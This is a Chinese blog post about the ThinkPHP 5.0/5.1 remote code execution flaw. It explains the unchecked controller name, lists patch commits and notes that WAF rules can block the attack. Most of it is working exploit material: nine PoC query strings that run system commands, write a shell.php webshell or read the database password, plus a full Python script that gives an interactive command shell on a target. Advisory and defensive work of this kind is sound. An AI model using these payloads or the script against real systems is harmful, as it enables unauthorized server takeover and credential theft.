从thinkphp远程代码执行开始

9号晚上thinkphp官网发布安全更新:https://blog.thinkphp.cn/869075
修复了一处代码执行漏洞,影响没有开启强制路由的5.0 – V5.0.23版本与5.1 – V5.1.31版本thinkphp 开发站点。,简单记录一下近两天一些信息与心得。

thinkphp代码执行漏洞

简述

到现在这个点相信各大厂商都的waf都可以拦截这个攻击了,包括我司23333。之所以存在漏洞,关键在于框架对控制器名没有进行足够的检测,从补丁也能看出来。
贴漏洞产生的部分关键代码:
从下述代码可知,在当$name包含\则将其作为类名,如果$name可控,是可以实例化任何一个类的。

1
2
3
4
5
6
7
protected function parseModuleAndClass($name, $layer, $appendSuffix)
{ echo 'parseModuleAndClass:'.$name."<br>";
if (false !== strpos($name, '\\')) {
$class = $name;

$module = $this->request->module();
}

而$name可控且\没被过滤,因此可以通过s=index/\think\Container/invokefunction的方式调用think\Container这个命名空间下的invokefunction函数。从而实现命令执行。

poc

1
2
3
4
5
6
7
8
9
?s=index/\think\Request/input&filter=phpinfo&data=1
?s=index/\think\Request/input&filter=system&data=id
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/think\config/get&name=database.password

检测脚本:

避免其他问题,暂放一个github上的简单测试脚本:attack.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#author: ctudoudou
from requests import get
from argparse import ArgumentParser

if __name__ == '__main__':
parser = ArgumentParser(prog='Test poc', usage='./attack.py [options: -u] <url>',
description="The ThinkPHP test script")

parser.add_argument("-u", "--url", dest="url", help="attack url")

args = parser.parse_args()

while (True):
url = '{}?s=index/\\think\\app/invokefunction&function=call_user_func_array' \
'&vars[0]=system&vars[1][]='.format(args.url)#可继续添加其他poc
command = input("shell$ ")
if command != "exit":
payload = url + str(command)
r = get(payload)
print(r.text)
else:
break

自己简单写了一个综合检测的脚本:
github: https://github.com/sunu11/thinkphpv5

修复

官方现已推出补丁 建议开发者进行修复
Thinkphp v5.0.x补丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f
Thinkphp v5.1.x补丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815
另外像这种漏洞是存在攻击特征的,基于正则的waf也可以进行拦截,因此有装了waf的升级规则库可保无碍,没安装的git pull 官方代码应该也还ok。关键是及时发现,及时处理。

其他漏洞

1、phpmyadmin 官网也更新了,修复了三枚漏洞,文件包含、csrf、xss,可以及时关注一下。https://www.t00ls.net/articles-48952.html
2、偶像Orange Tsai发了一条Twitter:

1
After weeks of diving into a single 500mb idb file. Finally chained a pre-auth RCE in a popular SSL VPN! 🙌

静候233333

-------------本文结束感谢您的阅读-------------
  • Post author: SuNu11
  • Post link: http://sunu11.com/2018/12/12/24/
  • Copyright Notice: All articles in this blog are licensed under BY-NC-SA unless stating additionally.